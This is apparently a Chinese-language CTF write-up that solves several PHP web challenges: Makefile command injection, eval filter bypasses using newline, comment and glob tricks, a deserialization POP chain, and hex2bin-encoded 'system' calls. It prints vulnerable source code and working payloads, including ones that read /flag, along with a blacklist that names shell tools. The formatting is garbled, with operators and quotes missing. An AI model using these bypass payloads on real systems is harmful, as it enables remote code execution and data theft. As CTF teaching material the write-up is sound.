用makefile执行系统命令的语法如 ${shell,ls} 源码
?php
// 定义一个函数用于简单的命令注入防御
function waf($cmd) {// 使用正则表达式检查命令中是否包含一些特殊字符if (preg_match(/\/|\n|\r|\;|\|/i, $cmd)) {// 如果命令中包含了特殊字符则返回 false表示命令不安全return false;}// 如果命令安全则直接返回命令return $cmd;
}// 从 GET 请求中获取命令参数并通过 waf() 函数进行检查
$cmd waf($_GET[cmd]);// 如果命令不安全则返回错误信息
if ($cmd false) {echo json_encode(array(makefileContent failed, output nonono));
} else {// 如果命令安全则构造 Makefile 内容$makefileContent EOD
# Makefile 内容
# 设置 shell 解释器为 /bin/bash
SHELL : /bin/bash# 如果环境变量 PATH 未定义则重新定义为空字符串
ifndef PATH
override PATH :
else
override PATH :
endif# 声明伪目标 FLAG用于确保 Makefile 中的命令总是被执行
.PHONY: FLAG# 定义 FLAG 目标依赖于 ./flag 文件和用户输入的命令
FLAG: ./flag \t$cmd
EOD;// 将生成的 Makefile 内容写入 Makefile 文件中if (file_put_contents(Makefile, $makefileContent) ! false) {// 构造执行命令$command make -f Makefile 21;// 使用 shell_exec() 函数执行命令并捕获执行结果$output shell_exec($command);// 返回生成的 Makefile 内容和执行结果echo json_encode(array(makefileContent $makefileContent, output $output));} else {// 如果写入文件失败则返回错误信息echo json_encode(array(makefileContent failed, output failed));}
}
?
xyctf 牢大
题目源码
?php
highlight_file(__FILE__);
function Kobe($cmd)
{if (strlen($cmd) 13) {die(see you again~);}if (preg_match(/echo|exec|eval|system|fputs|\.|\/|\\|/i, $cmd)) {die(肘死你);}foreach ($_GET as $val_name $val_val) {if (preg_match(/bin|mv|cp|ls|\||f|a|l|\?|\*|\/i, $val_val)) {return what can i say;}}return $cmd;
}
$cmd Kobe($_GET[cmd]);
echo #man, . $cmd . ,manba out;
echo br;
eval(#man, . $cmd . ,mamba out);对cmd参数进行了过滤用eval但过滤了system明显是无回显rce而且长度有限制只能用反引号执行命令
而且对长度有限制只ban了fla没有g、$很明显可以用get参数逃逸对长度的限制
前面加了#我们使用%0a即换行绕过因为#是单行注释后面的manbaout可以用%23,即#注释掉所以现在传的参数大概如下
?cmd%0a$_GET[b];%23b看第二个过滤其实已经提示了可以用cp或mv把flag带过来但是路径表示不出来后面看wp才发现路径原来也能用通配符匹配
%0a$_GET[b];%23bcp /[e-g][k-m][0-b][e-h] /v[0-b]r/www/htm[j-m]访问/flag即可得到flag
xyctf ezpop
源码
?php
error_reporting(0);
highlight_file(__FILE__);class AAA
{public $s;public $a;public function __toString(){echo you get 2 A br;$p $this-a;return $this-s-$p;}
}class BBB
{public $c;public $d;public function __get($name){echo you get 2 B br;$a$_POST[a];$b$_POST;$c$this-c;$d$this-d;if (isset($b[a])) {unset($b[a]);}call_user_func($a,$b)($c)($d);}
}class CCC
{public $c;public function __destruct(){echo you get 2 C br;echo $this-c;}
}if(isset($_GET[xy])) {$a unserialize($_GET[xy]);throw new Exception(noooooob!!!);
}pop链很简单异常也可以fast-destruct绕过问题在于call_user_func如何让他套娃调用执行命令
call_user_func($a,$b)($c)($d);已知$b是POST数组所以$a要是操作数组的方法
想要出现system(‘ls’)的情况$d设为ls即可但是system怎么来呢如果直接通过$a方法从$_POST中取出system也是不行的因为还有个$c
可以使用hex2bin方法想办法在POST数组取出hex2bin然后$c设为system的十六进制编码执行完call_user_func($a,$b)($c)结果即为system就能执行$d的命令了
所以exp
?php
error_reporting(0);
class AAA
{public $s;public $a;
}
class BBB
{public $c;public $d;
}
class CCC
{public $c;
}
$objnew CCC();
$obj-cnew AAA();
$obj-c-snew BBB();
$obj-c-s-c73797374656d;
$obj-c-s-dcat /flag;
echo (serialize($obj));
# 去掉结尾的一个}破坏序列化结构
#O:3:CCC:1:{s:1:c;O:3:AAA:2:{s:1:s;O:3:BBB:2:{s:1:c;s:12:73797374656d;s:1:d;s:9:cat /flag;}s:1:a;N;}
?post传
acurrentbhex2binpost中a赋值给$a后就会被删除所以直接current就能取到第一个元素b的值hex2bin Dest0g3 520迎新赛SimpleRCE
?php
highlight_file(__FILE__);
$aaa$_POST[aaa];
$black_listarray(^,.,,,,,,preg,,|,%0,popen,char,decode,html,md5,{,},post,get,file,ascii,eval,replace,assert,exec,$,include,var,pastre,print,tail,sed,pcre,flag,scan,decode,system,func,diff,ini_,passthru,pcntl,proc_open,,cat,tac,more,sort,log,current,\\,cut,bash,nl,wget,vi,grep);
$aaa str_ireplace($black_list,hacker,$aaa);
eval($aaa);
?过滤了很多尝试编码拼接\ .都被ban了
尝试hex2bin可以执行命令
hex2bin(73797374656d)(hex2bin(6c73202f)); #system(ls /);后面直接读取flag即可